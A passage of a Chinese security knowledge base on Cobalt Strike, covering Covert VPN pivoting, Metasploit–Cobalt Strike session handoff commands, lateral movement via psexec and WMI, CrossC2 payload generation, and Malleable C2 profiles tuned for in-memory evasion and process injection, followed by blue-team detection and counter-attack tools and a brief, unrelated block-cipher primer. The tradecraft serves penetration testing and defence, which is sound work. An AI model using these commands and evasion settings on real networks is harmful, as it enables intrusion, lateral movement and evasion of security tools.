服务器,则你可以使用你的操作系统内置工具向其请求IP地址 要管理你的 Covert VPN 接口,请进入到 Cobalt Strike - > VPN Interfaces。在这里,Cobalt Strike 将显示 Covert VPN 接口,它们的配置方式以及通过每个接口传输和接收的字节数。 选中一个接口,然后选择 “Remove” 清除该接口并关闭远程 Covert VPN 客户端。Covert VPN 将在重新启动时删除其临时文件,并立即自动撤消任何系统更改。选择 Add 以配置新的 Covert VPN 接口。 如果没有本地接口,请选择 Add 来创建。 隐蔽 VPN 接口由一个网络分接头和一个用于通信 63 个以太网帧通过的通道组成。要配置接口,请填入接口名称(这是你稍后要通过 ifconfig 操作的名称)和一个 MAC 地址。 你还必须为你的接口配置 Covert VPN 通信通道。 隐蔽 VPN 可以通过 UDP 连接,TCP 连接,ICMP 或使用 HTTP 协议来通信以太网帧。 TCP(Reverse) 通道会让目标连接到你的 Cobalt Strike 实例。 TCP(Bind) 通道会让 Cobalt Strike 通过 Beacon 与 VPN 建立隧道通信。 Cobalt Strike 将基于你选择的 Local Port (本地端口) 和 Channel (通道)建立和管理与隐蔽 VPN 客户端的之间的通信。 隐蔽 VPN HTTP 通道使用 Cobalt Strike Web 服务器。你可以在同一个端口上托管其他的 Cobalt Strike web 应用和多个隐蔽 VPN HTTP 通道。 要获取最佳效果,请使用 UDP 通道。与 TCP 和 HTTP 通道相比,UDP 通道的开销最少。如果你需要通过一个限制严格的防火墙,可以使用 ICMP,HTTP 或 TCP(Bind) 通道。 虽然隐蔽 VPN 具有灵活性优势,但是具体选择使用 VPN pivot 还是代理 pivot 这取决于具体环境。隐蔽 VPN 需要管理员访问权限。代理 pivot 则不需要。隐蔽 VPN 创建新的通信通道。代理 pivot 则不会。你应该首先使用代理 pivot,然后在需要时移至 VPN pivot。 --- ### Spawn > 以下部分内容来自 <sup>[Cobalt_Strike_wiki/第十六节[MSF与CS会话互转].md](https://github.com/aleenzz/Cobalt_Strike_wiki/blob/master/%E7%AC%AC%E5%8D%81%E5%85%AD%E8%8A%82%5BMSF%E4%B8%8ECS%E4%BC%9A%E8%AF%9D%E4%BA%92%E8%BD%AC%5D.md)</sup> **MSF 转 CS** 从已经获得 meterpreter 的时候转到 CS 只需要使用的 payload_inject 模块 ```bash meterpreter > background msf exploit(multi/handler) > use exploit/windows/local/payload_inject msf exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http msf exploit(windows/local/payload_inject) > set lhost [host] msf exploit(windows/local/payload_inject) > set lport [port] msf exploit(windows/local/payload_inject) > set session [session_id] msf exploit(windows/local/payload_inject) > set disablepayloadhandler true msf exploit(windows/local/payload_inject) > exploit -j # set disablepayloadhandler true 用来禁用 payload handler 的监听否则有冲突。 ``` 然后 CS 里面配置监听相应 lhost lport 即可 **CS 转 MSF** CS 转 MSF 只需要用到 spawn 功能 MSF 开启监听 ```bash msf > sessions -l msf > use exploit/multi/handler msf exploit(multi/handler) > set set payload windows/meterpreter/reverse_http msf exploit(multi/handler) > set lhost [host] msf exploit(multi/handler) > set lport [port] msf exploit(multi/handler) > exploit ``` 目标右键 -> spawn , 添加一个 Foreign 的监听器,在点 choose 弹到 msf --- ## 横向 一旦你有了域管理员或者是目标机器上的本地管理员域用户的令牌,你可以通过滥用这种信任关系来控制目标。 输入 jump 来列出 Cobalt Strike 中注册的横向移动的选项。运行 `jump [module] [target] [listener]` 来尝试在远程目标上运行一个 payload。 单独运行 remote-exec 命令来列举 Cobalt Strike 中注册的远程执行模块。使用 `remote-exec [module] [target] [command+args]` 来尝试在远程目标主机上运行特定的命令。 **psexec** 1. 通过 ipc$ 连接,然后释放 psexesvc.exe 到目标机器。 2. 通过服务管理 SCManager 远程创建 psexecsvc 服务,并启动服务。 3. 客户端连接执行命令, 服务端启动相应的程序并执行回显数据。 Cobalt Strike 中提供 2 种 psexec 用法 ```bash psexec [host] [share] [listener] psexec_psh [host] [listener] ``` 一种是用 psexec 生成会话 一种是利用 psexec 和 powershell 生成 psh 都与 powershell 有关。 **WMI** WMI 的全称是 Windows Management Instrumentation, 它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统, 攻击者使用 wmi 来进行攻击, 但 Windows 系统默认不会在日志中记录这些操作, 可以做到无日志, 攻击脚本无需写入到磁盘, 增加了隐蔽性, 越来越多的 apt 事件中使用 WMI 进行攻击,利用 WMI 可以进行信息收集、探测,反病毒和虚拟机检测,命令执行,权限持久化等操作。 ```bash wmi [host] [listener] ``` Cobalt Strike 也提供一个 GUI 来使得横向移动更加简单。切换到目标可视化表或转到 View → Targets 。导航到 [target] → Jump 并选择所需的横向移动选项。将打开以下对话框: 首先,决定你想用哪种信任来进行横向移动。如果你想使用你的某个 Beacon 中的令牌,勾选 Use session's current access token (使用会话的当前访问令牌)框。你也可以使用凭据或哈希来进行横向移动。从凭据存储中选择凭据或者手动填写 User 、 Password 和 Domain 字段。Beacon 会使用此信息来为你生成一个访问令牌。记住,你需要在高权限的上下文(管理员权限)中执行这些操作才能生效。 接下来,选择用于横向移动的监听器。在这种场景中,SMB Beacon 通常是一个很好的选择。最后,选择你想从哪个会话中执行横向移动攻击。Cobalt Strike 的异步攻击模型要求每一个攻击都从一个受害系统中执行。如果没有可以展开攻击的 Beacon 会话就没有可以执行此操作的选项。如果你在一个内部行动中,考虑 hook 一个你控制的 Windows 系统并以其作为你使用凭据或哈希攻击其他系统的起点。 点击 Launch (启动)。Cobalt Strike 将激活选定 Beacon 的标签页并对其发出命令。攻击的反馈会展现在 Beacon 的控制台中。 ### SSH 当内网有 Linux 时 Cobalt Strike 也是考虑到的提供了 ssh 连接, 只需要用目标机的 beacon 去连接就可以了。 直接连接 ```bash ssh [target:port] [user] [pass] ``` ssh-key ```bash ssh [target:port] [user] [/path/to/key.pem] ``` --- ## 脚本 Cobalt Strike 可通过它的 Aggressor Script 语言来为其编写脚本。Aggressor Script 是 Armitage 的 Cortana 脚本语言的精神继任者,虽然这两者并不兼容。 通过 Cobalt Strike → Script Manager 来对脚本进行管理。 ### CrossC2 地址 : https://github.com/gloxec/CrossC2 下载 CrossC2.cna ,和相应平台的二进制文件,先修改 CrossC2.cna 改为指定的文件路径 选择 Script Manager,添加 CrossC2.cna 起个 https 的监听器 将服务端的 .cobaltstrike.beacon_keys 文件拷到二进制文件目录下 生成 也可以用命令 ``` genCrossC2.Win.exe 192.168.141.151 443 ./.cobaltstrike.beacon_keys null Linux x64 test ``` 上传 test 文件至目标,加权限运行,目标上线 参考文章 - https://0x20h.com/p/c02f.html - https://www.cnblogs.com/micr067/p/13311206.html **生成 rebind 库** 当 teamserver 配置了 c2profile 时,需要提前生成 rebind 库供生成 beacon 时使用 参考官方的格式 - https://gloxec.github.io/CrossC2/zh_cn/protocol/ - https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/https.profile - https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/c2profile.c - https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/proxy_udp.py - https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/rebind_udp.c 修改完毕后,测试 profile,编译生成 ```bash ./c2lint test.profile # 登录 cs 生成 rebind 库供生成 beacon gcc test.c -fPIC -shared -o lib_rebind_test.so ``` **直接生成 shell** ```bash # 登录 cs 生成 shell ./genCrossC2.Linux xx.xx.xx.xx 443 .cobaltstrike.beacon_keys null Linux x64 shell ``` **域前置模式下生成 shell** ```bash # 登录 cs 生成 shell ./genCrossC2.Linux xx.xx.xx.xx 443 .cobaltstrike.beacon_keys ./lib_rebind_test.so Linux x64 shell # 注意 mac m1 下生成的 shell , x86 运行上不了线 ``` **导入 cna** 下载 https://github.com/gloxec/CrossC2/releases/download/v3.1.0/CrossC2Kit-GithubBot-2022-06-07.zip 导入 CrossC2Kit_Loader.cna **注意** 其实可以不用 CrossC2.cna 这个脚本, 直接在 cs 服务器的命令行下生成即可, 注意生成时候的回连地址, 如果是域前置要把域前置的 ip 指定,然后 host 头要在 profile 里指定,和 genCrossC2.Linux 没有关系 如果还是上不了线,建议仔细看看这几个issue - https://github.com/gloxec/CrossC2/issues/60 - https://github.com/gloxec/CrossC2/issues/89 - https://github.com/gloxec/CrossC2/issues/65 另外,mac m1 下生成的 shell ,x86 机器是用不了的,所以建议 cs 全套都在 x86 的机器上弄 **mac 🐎** - [Macos钓鱼上线CS踩坑流程](https://mp.weixin.qq.com/s/ZptprvkNXRP0PNpmoXpbFg) --- ## CS 样本 目录中有一个 CobaltStrike.jar 文件,直接解压,这里面有一个名为 resources 的文件夹,就是 CobaltStrike 的配置信息,我们在 CobaltStrike 控制台生成的木马都来源于这个文件夹。 可以直接分析这里面的样本,提取规则进行查杀。 --- ## CNA 扩展 Cobalt Strike 可以使用 AggressorScripts 脚本来加强自身,能够扩展菜单栏,Beacon 命令行,提权脚本等 **相关文章** - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm **CS插件资源** - [rmikehodges/cs-ssl-gen](https://github.com/rmikehodges/cs-ssl-gen) sslgen 将安装一个 letsencrypt 证书并从中创建一个 Cobalt Strike 密钥库. - [uknowsec/SharpToolsAggressor](https://github.com/uknowsec/SharpToolsAggressor) - 内网渗透中常用的 c# 程序整合成 cs 脚本, 直接内存加载. - [DeEpinGh0st/Erebus](https://github.com/DeEpinGh0st/Erebus) CobaltStrike 后渗透测试插件 - [QAX-A-Team/EventLogMaster](https://github.com/QAX-A-Team/EventLogMaster) - RDP 日志取证 & 清除插件 - [outflanknl/Spray-AD](https://github.com/outflanknl/Spray-AD) - Cobalt Strike工具,用于审核 AD 用户帐户中的弱密码 - [gloxec/CrossC2](https://github.com/gloxec/CrossC2) - generate CobaltStrike's cross-platform payload - [lintstar/LSTAR](https://github.com/lintstar/LSTAR) - LSTAR - CobaltStrike 综合后渗透插件 - [AttackTeamFamily/cobaltstrike-bof-toolset](https://github.com/AttackTeamFamily/cobaltstrike-bof-toolset) - 在cobaltstrike中使用的bof工具集,收集整理验证好用的bof。 - [outflanknl/PrintNightmare](https://github.com/outflanknl/PrintNightmare) - CVE-2021-1675 / CVE-2021-34527 exploit. - [helpsystems/nanodump](https://github.com/helpsystems/nanodump) - Dumping LSASS has never been so stealthy - [optiv/Registry-Recon](https://github.com/optiv/Registry-Recon) - Cobalt Strike Aggressor Script that Performs System/AV/EDR Recon - [mgeeky/cobalt-arsenal](https://github.com/mgeeky/cobalt-arsenal) - My collection of battle-tested Aggressor Scripts for Cobalt Strike 4.0+ --- ## 通信扩展 Cobalt Strike 可以引用其他的通讯框架 ExternalC2,ExternalC2 是由 Cobalt Strike 提出的一套规范/框架,它允许黑客根据需要对框架提供的默认 HTTP(S)/DNS/SMB C2 通信通道进行扩展。 **相关文章** - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend_main.htm **Profile 资源** C2 Profile 可以调整传输过程中的流量, 一定程度上可以隐蔽 C2 服务器 - [rsmudge/Malleable-C2-Profiles](https://github.com/rsmudge/Malleable-C2-Profiles) - This repository is a collection of Malleable C2 profiles that you may use. These profiles work with Cobalt Strike 3.x. - [threatexpress/malleable-c2](https://github.com/threatexpress/malleable-c2) - Cobalt Strike Malleable C2 Design and Reference Guide - [HuskyHacks/CobaltNotion](https://github.com/HuskyHacks/CobaltNotion) - A spin-off research project. Cobalt Strike x Notion collab 2022 **辅助项目** - [CodeXTF2/Burp2Malleable](https://github.com/CodeXTF2/Burp2Malleable) - Quick python utility I wrote to turn HTTP requests from burp suite into Cobalt Strike Malleable C2 profiles **Malleable C2** Beacon 中的 http 通讯由 Malleable-C2 配置文件定义,在启动 teamserver 时来指定我们的配置文件, 每个 CS 只能载入一个配置文件, 多个文件需要启动多个 teamserver 目录下的 c2lint 文件可以检测配置文件的语法问题和测试 ```bash chmod +x c2lint ./c2lint [/path/to/my.profile] ``` ### profile 语法 **简单举例** ``` # # Backoff POS Malware # # This profile takes steps to dress up the POST side of Beacon's C2 to # look like Backoff. The GET side is left generic. # ``` 注释符号 `#` ``` set sample_name "Backoff POS Malware"; set sleeptime "30000"; # use a ~30s delay between callbacks set jitter "10"; # throw in a 10% jitter ``` 选择赋值 `set` 用来设置一些程序的默认值 语句以; 结束,类似JavaScript. 代码中 `set sleeptime "30000";` 即为设置心跳时间为30000毫秒,`set jitter "10";` 为默认抖动系数(0-99%) ``` set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"; ``` 设置 user-agent **Data Transform Language** ``` http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } } ``` 数据转换,CS内置的几种编码 Statement | Action | Inverse -|-|- append "string" | Append "string" | Remove last LEN("string") characters base64 | Base64 Encode | Base64 Decode base64url | URL-safe Base64 Encode | URL-safe Base64 Decode mask | XOR mask w/ random key | XOR mask w/ same random key netbios | NetBIOS Encode 'a' | NetBIOS Decode 'a' netbiosu | NetBIOS Encode 'A' | NetBIOS Decode 'A' prepend "string" | Prepend "string" | Remove first LEN("string") characters 数据转换语句可以任意数量顺序组合,以终止语句结束,在转换中只能使用一个终止语句 Statement | What -|-| header "header" |Store data in an HTTP header parameter "key" | Store data in a URI parameter print | Send data as transaction body uri-append | Append to URI 终止语句将转换后的数据储存到 Http 头中,参数终止语句将转换的数据 print 来最后发送这些编码的数据 print 是 `http-get.server.output`,`http-post.server.output` 和 `http-stager.server.output` 的终止语句配合上文代码可以看出。 其他块使用 `header`,`parameter`,`print` 和 `uri-append` `termination` 语句, 如果在 `http-post.client.output` 上使用 `header` `parameter` `uri append` `termination` 语句,beacon 会将其响应分块到一个合理的长度,以适应事务的一部分。 **Strings** Beacon 的 Profile 语法可以多个地方使用 Strings Value | Special Value -|-| "\n" | Newline character "\r" | Carriage Return "\t" | Tab character "\u####" | A unicode character "\x##" | A byte (e.g., \x41 = 'A') "\\" | \ **Options** Beacon 的默认值, 分为全局和本地, 全局更改 Beacon 的设置,本地用于特定事务。 Option | Context | Default Value | Changes -|-|-|-| amsi_disable | null | false | (Attempt to) disable AMSI for execute-assembly, powerpick, and psinject dns_idle | null | 0.0.0.0 | IP address used to indicate no tasks are available to DNS Beacon; Mask for other DNS C2 values dns_max_txt | null | 252 | Maximum length of DNS TXT responses for tasks dns_sleep | null | 0 | Force a sleep prior to each individual DNS request. (in milliseconds) dns_stager_prepend | null | null | Prepend text to payload stage delivered to DNS TXT record stager dns_stager_subhost | null | .stage.123456. | Subdomain used by DNS TXT record stager. dns_ttl | null | 1 | TTL for DNS replies host_stage | null | true | Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers. jitter | null | 0 | Default jitter factor (0-99%) maxdns | null | 255 | Maximum length of hostname when uploading data over DNS (0-255) pipename | null | msagent_## | Name of pipe to use for SMB Beacon's peer-to-peer communication. ## is replaced with a number unique to your team server. pipename_stager | null | status_## | Name of pipe to use for SMB Beacon's named pipe stager. ## is replaced with a number. sample_name | null | My Profile | The name of this profile (used in the Indicators of Compromise report) sleeptime | null | 60000 | Default sleep time (in milliseconds) spawnto_x86 | null | %windir%\syswow64\rundll32.exe | Default x86 program to open and inject shellcode into spawnto_x64 | null | %windir%\sysnative\rundll32.exe | Default x64 program to open and inject shellcode into tcp_port | null | 4444 | TCP Beacon listen port uri | http-get,http-post | [required option] | Transaction URI uri_x86 | http-stager | null | x86 payload stage URI uri_x64 | http-stager | null | x64 payload stage URI useragent |null | Internet Explorer (Random) | Default User-Agent for HTTP comms. verb | http-get,http-post | GET,POST | HTTP Verb to use for transaction **Beacon HTTP Transaction** HTTP请求 参数 Request | Component | Block | Data -|-|-|-| http-get | client | metadata | Session metadata http-get | server | output | Beacon's tasks http-post | client | id | Session ID http-post | client | output | Beacon's responses http-post | server | output | Empty http-stager | server | output | Encoded payload stage **HTTP Staging** Beacon 是一个分阶段的 payload,有效负载由 stager 下载并注入内存,在目标内存中有 Beacon 之前 HTTP GET 和 HTTP POST 不会生效。 Malleable C2 的 http-stager 块可自定义 HTTP 分段过程。 ``` http-stager { set uri_x86 "/get32.gif"; set uri_x64 "/get64.gif"; ``` uri_x86 选项设置 URI 下载 x86 的 payload,uri_x64 选项设置 URI 下载 64 位的 payload 。 **Self-signed Certificates with SSL Beacon** HTTPS Beacon 在其通信中使用 HTTP Beacon 的指示符, Malleable C2 配置文件还可以指定 Beacon C2 服务器的自签名 SSL 证书的参数。 ``` https-certificate { set CN "bobsmalware.com"; set O "Bob's Malware"; } ``` 证书参数 Option | Example | Description -|-|-| C | US | Country CN | beacon.cobaltstrike.com | Common Name; Your callback domain L | Washington | Locality O | Strategic Cyber LLC | Organization Name OU | Certificate Department | Organizational Unit Name ST | DC | State or Province validity | 365 | Number of days certificate is valid for **Valid SSL Certificates with SSL Beacon** 可以选择将有效 SSL 证书与 Beacon 一起使用。使用 Malleable C2 配置文件指定 Java 密钥库文件和密码。此密钥库必须包含证书的私钥,根证书,任何中间证书以及 SSL 证书供应商提供的域证书。 Cobalt Strike 在与 Malleable C2 配置文件相同的文件夹中找到 Java Keystore 文件。 ``` https-certificate { set keystore "domain.store"; set password "mypassword"; } ``` Option | Example | Description -|-|-| Option | Example | Description keystore | domain.store | Java Keystore file with certificate information password | mypassword | The password to your Java Keystore 创建用于 Cobalt Strike 的 Beacon 的有效 SSL 证书的步骤 1. 使用 keytool 程序创建 Java 密钥存储文件。这个程序会询问 “你的姓名是什么?” 确保使用完全权威的域名来响应 Beacon 服务器。另外,请确保记下密钥库密码, 你以后会需要它。 `$ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store` 2. 使用 keytool 生成证书签名请求(CSR), 您将向您的 SSL 证书供应商提交此文件, 他们将验证您的身份并颁发证书, 有些供应商比其他供应商更容易和便宜。 `$ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store` 3. 导入 SSL 供应商提供的 Root 和任何中间证书。 `$ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store` 4. 最后,您必须安装域证书。 `$ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store` 就是这样就生成 Cobalt Strike 的 Beacon 一起使用的 Java Keystore 文件。 **Code Signing Certificate** 提供签署可执行文件或 DLL 文件的选项, 需要 代码签名证书和私钥指定 Java Keystore 文件 ``` code-signer { set keystore "keystore.jks"; set password "password"; set alias "server"; } ``` Option | Example | Description -|-|-| alias | server | The keystore's alias for this certificate digest_algorithm | SHA256 |The digest algorithm keystore | keystore.jks | Java Keystore file with certificate information password | mypassword | The password to your Java Keystore timestamp | false | Timestamp the file using a third-party service timestamp_url | http://timestamp.digicert.com | URL of the timestamp service **PE and Memory Indicators** Malleable C2 stage http-stager 控制 Beacon 如何加载到内存中并编辑 Beacon DLL 的内容。 ``` stage { set userwx "false"; set compile_time "14 Jul 2009 8:14:00"; set image_size_x86 "512000"; set image_size_x64 "512000"; set obfuscate "true"; transform-x86 { prepend "\x90\x90"; strrep "ReflectiveLoader" "DoLegitStuff"; } transform-x64 { # transform the x64 rDLL stage } stringw "I am not Beacon!"; } ``` 当接受后将字符串添加到 beacon dll 的. rdata 部分,string 命令添加一个以 zero-terminated 的字符串。stringw 命令添加了一个宽(utf-16le 编码)字符串,Transform-x86 和 Transform-X64 阻止 PAD 和 Transform Beacon 的反射 DLL 阶段。这些块支持三个命令:prepend、append 和 strrep. prepend 命令在 beacon 的反射 dll 之前插入一个字符串, append 命令在 beacon-reflective dll 后面添加一个字符串, 确保预先准备好的数据是阶段体系架构(x86、x64)的有效代码, c2lint 程序没有对此进行检查, strrep 命令替换 beacon 反射 dll 中的字符串。 stage 块接受 Beacon DLL 内容的选项: Option | Example | Description -|-|-| checksum | 0 | The CheckSum value in Beacon's PE header cleanup |false | Ask Beacon to attempt to free memory associated with the Reflective DLL package that initialized it. compile_time | 14 July 2009 8:14:00 | The build time in Beacon's PE header entry_point | 92145 | The EntryPoint value in Beacon's PE header image_size_x64 | 512000 | SizeOfImage value in x64 Beacon's PE header image_size_x86 | 512000 | SizeOfImage value in x86 Beacon's PE header module_x64 | xpsservices.dll | Same as module_x86; affects x64 loader module_x86 | xpsservices.dll | Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc. name | beacon.x64.dll |The Exported name of the Beacon DLL obfuscate | false | Obfuscate the Reflective DLL's import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers. rich_header | null | Meta-information inserted by the compiler sleep_mask |false | Obfuscate Beacon, in-memory, prior to sleeping stomppe |true | Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload userwx | false | Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory **Cloning PE Headers** Cobalt Strike 的 Linux 软件包, 包括一个工具 peclone,用于从 dll 中提取头文件并将其显示为一个随时可用的阶段块: `./peclone [/path/to/sample.dll]` **In-memory Evasion and Obfuscation** 使用 stage 块的 prepend 命令来破坏分析,该分析扫描内存段的前几个字节以查找注入的 dll 的迹象。如果使用特定于工具的字符串检测代理,请使用 strrep 命令更改它们。 如果 strrep 不够,请将 sleep_mask 设置为 true。这将引导信标在进入睡眠状态之前在记忆中模糊自己。在休眠之后,信标会将自己的模糊处理为请求和处理任务。SMB 和 TCP 信标在等待新连接或等待来自其父会话的数据时会使它们自己变得模糊。 决定您希望在内存中看起来有多像一个 DLL。如果您希望方便检测,请将 stomppe 设置为 false。如果您想在内存中稍微混淆信标 dll,请将 stomppe 设置为 true。如果你想挑战,将 “模糊” 设置为“真”。此选项将采取许多步骤来模糊信标阶段和内存中 DLL 的最终状态。 将 userwx 设置为 false 以询问 beacon 的加载器以避免 rwx 权限。具有这些权限的内存段将吸引分析师和安全产品的额外关注。 默认情况下,Beacon 的加载程序使用 virtualloc 分配内存。模块踩踏是一种替代方法。将 module_x86 设置为一个大约是 beacon 有效载荷本身两倍大的 dll。Beacon 的 x86 加载程序将加载指定的 dll,在内存中查找其位置并覆盖它。这是一种在内存中定位信标的方法,Windows 将其与磁盘上的文件关联。您要驻留的应用程序不需要您选择的 DLL,这一点很重要。模块_x64 选项的情况相同,但它会影响 x64 信标。 如果您担心在内存中初始化 beacon dll 的 beacon 阶段,请将 cleanup 设置为 true。此选项将在不再需要信标阶段时释放与之关联的内存。 **Process Injection** Malleable C2 配置文件中的进程注入块可以注入内容并控制进程注入行为 ``` process-inject { set min_alloc "16384"; set startrwx "true"; set userwx "false"; transform-x86 { prepend "\x90\x90"; } transform-x64 { # transform x64 injected content } disable "CreateRemoteThread"; } ``` transform-x86 和 transform-x64 阻止 Beacon 注入的 PAD 内容。这些块支持两个命令:prepend 和 append prepend 命令在插入的内容之前插入一个字符串。append 命令在注入的内容之后添加一个字符串。确保预先准备好的数据是注入内容体系结构(x86、x64)的有效代码。c2lint 程序没有对此进行检查。 disable 语句是避免在 beacon 的进程注入例程中使用某些 API 的提示。您可以禁用:sethreadcontext、createRemoteThread 和 rtlcreateUserThread。请注意,当您禁用这些调用时,可能会在 Beacon 的进程注入例程中引入可避免的失败。c2lint 命令会发出一些警告。 process-inject 块接受几个控制 Beacon 中的过程注入的选项 Option | Example | Description -|-|-| min_alloc | 4096 | Minimum amount of memory to request for injected content startrwx | true | Use RWX as initial permissions for injected content. Alternative is RW. userwx | false | Use RWX as final permissions for injected content. Alternative is RX. **compile_time参数** - [CS4.5修复C2Profile中本地时间不一致问题【增加convertDate】](https://mp.weixin.qq.com/s/Ta2TBrJSWpaZ4J4b4fL8vA) --- ## 蓝队反制 ### 服务端特征分析 **相关文章** - [CobaltStrike WebServer特征分析](https://mp.weixin.qq.com/s/hNFVTRINKbBiOQiOf0WTMA) ### beacon检测 **相关文章** - [Yara入门——如何通过Yara规则匹配CobaltStrike恶意样本](https://www.anquanke.com/post/id/211501) - [Decoding Cobalt Strike: Understanding Payloads](https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/) - [再探BeaconEye](https://mp.weixin.qq.com/s/D7mZTmL8DlqZ8YYYoygudw) **相关工具** - [huoji120/CobaltStrikeDetected](https://github.com/huoji120/CobaltStrikeDetected) - 40 行代码检测到大部分 CobaltStrike 的 shellcode - [CCob/BeaconEye](https://github.com/CCob/BeaconEye) - Hunts out CobaltStrike beacons and logs operator command output **检测规则** - https://github.com/avast/ioc/tree/master/CobaltStrike - https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar **Hook Heap** - [Hook Heaps and Live Free](https://www.arashparsa.com/hook-heaps-and-live-free/) **Sleep Mask Kit** - [Sleeping with a Mask On (Cobalt Strike)](https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/) - [Detecting Cobalt Strike with memory signatures](https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures) ### beacon分析 由于 beacon 中存在 C2 的信息,部分工具可以直接解析 beacon 中的 C2 信息,甚至模拟上线干扰服务器 **相关工具** - [Sentinel-One/CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser) - Python parser for CobaltStrike Beacon's configuration ``` python parse_beacon_config.py beacon.exe ``` - https://blog.didierstevens.com/2021/12/21/update-1768-py-version-0-0-11/ - Beacon 进程 Dump 分析工具 ### 上线包干扰 **相关工具** - [hariomenkel/CobaltSpam](https://github.com/hariomenkel/CobaltSpam) - can be used to spam a CobaltStrike server with fake beacons - [jas502n/CS_mock](https://github.com/jas502n/CS_mock) - 模拟cobalt strike beacon上线包. - [LiAoRJ/CS_fakesubmit](https://github.com/LiAoRJ/CS_fakesubmit) - 一个可以伪装上线Cobaltstrike的脚本 ### 爆破 cobaltstrike teamserver 密码 - [ryanohoro/csbruter](https://github.com/ryanohoro/csbruter) ```bash git clone https://github.com/ryanohoro/csbruter cd csbruter cat wordlist.txt | python3 csbruter.py xxx.xxx.xxx.xxx ``` ### mysql蜜罐读取配置文件 > 参考: https://mp.weixin.qq.com/s/i8eBT8O2IwCotf7wqnveEw 1. mysql 中的 load data local infile 函数能够读取本地文件到 mysql 数据库中。当攻击者用爆破 mysql 密码的扫描器扫描到我们的 mysql 并连接上的时候,客户端(攻击者)会自动发起一个查询,我们(服务端)会给与一个回应,我们在回应的数据包中加入 load data local infile 读取攻击者的本地文件到我们数据库中,达到反制的目的。 2. 只要是使用 cs 客户端连接过 cs 服务端的电脑,cs 客户端都会在固定的文件夹下生成一个 `.aggressor.prop` 配置文件。如果是 Windows 系统,那么文件位置是:`C:\Users\Administrator\.aggressor.prop`,这个配置文件里面就包含了 cs 远控的 ip 地址、端口、用户名及密码,而且都是明文的. 3. 搭建一个mysql蜜罐,一旦攻击者连接这个蜜罐,那么这个蜜罐利用msyql本地文件读取漏洞去自动读取 `C:\Users\Administrator\.aggressor.prop` 这个文件内容,蜜罐就可以成功得到攻击者的cs服务端ip地址、端口、用户名密码。 mac 的配置文件位置在 `~/.aggressor.prop` ### CVE-2022-39197 - https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/ - https://github.com/TomAPU/poc_and_exp/tree/master/CVE-2022-39197 - [CS4.5粗略预防CVE-2022-39197 XSS RCE](https://mp.weixin.qq.com/s/vF7DPPCpr299ENudiFgDjQ) - [最新CS RCE曲折的复现路](https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ) - [CS RCE(CVE-2022-39197)复现心得分享](https://mp.weixin.qq.com/s/89wXyPaSn3TYn4pmVdr-Mw) - [its-arun/CVE-2022-39197](https://github.com/its-arun/CVE-2022-39197) - [burpheart/CVE-2022-39197-patch](https://github.com/burpheart/CVE-2022-39197-patch) - CVE-2022-39197 漏洞补丁 ``` 在cobaltstrike启动参数中加入javaagent 启用补丁 -javaagent:patch.jar ```
sec-knowleage
### 块加密概述 所谓块加密就是每次加密一块明文,常见的加密算法有 - IDEA 加密 - DES 加密 - AES 加密 块加密也是对称加密。 其实,我们也可以把块加密理解一种特殊的替代密码,但是其每次替代的是一大块。而正是由于一大块,明文空间巨大,而且对于不同的密钥,我们无法做一个表进行对应相应的密文,因此必须得有 **复杂** 的加解密算法来加解密明密文。 而与此同时,明文往往可能很长也可能很短,因此在块加密时往往需要两个辅助 - padding,即 padding 到指定分组长度 - 分组加密模式,即明文分组加密的方式。 ### 块加密混淆基本策略 混淆,Confusion,将密文与密钥之间的统计关系变得尽可能复杂,使得攻击者即使获取了密文的一些统计特性,也无法推测密钥。一般使用复杂的非线性变换可以得到很好的混淆效果,常见的方法如下 - S 盒 - 乘法 ### 块加密扩散基本策略 扩散,Diffusion,使得明文中的每一位影响密文中的许多位。常见的方法有 - 线性变换 - 置换 - 移位,循环移位 ### 块加密迭代结构 #### 概述 迭代结构基本如下,一般包括三个部分 - 密钥置换 - 轮加密函数 - 轮解密函数 #### 轮函数 目前来说,轮函数主要有主要有以下设计方法 - Feistel Network,由 Horst Feistel 发明,DES 设计者之一。 - DES - Substitution-Permutation Network(SPN) - AES - 其他方案 #### 密钥扩展 目前,密钥扩展的方法有很多,没有见到什么完美的密钥扩展方法,基本原则是使得密钥的每一个比特尽可能影响多轮的轮密钥。
sec-knowleage
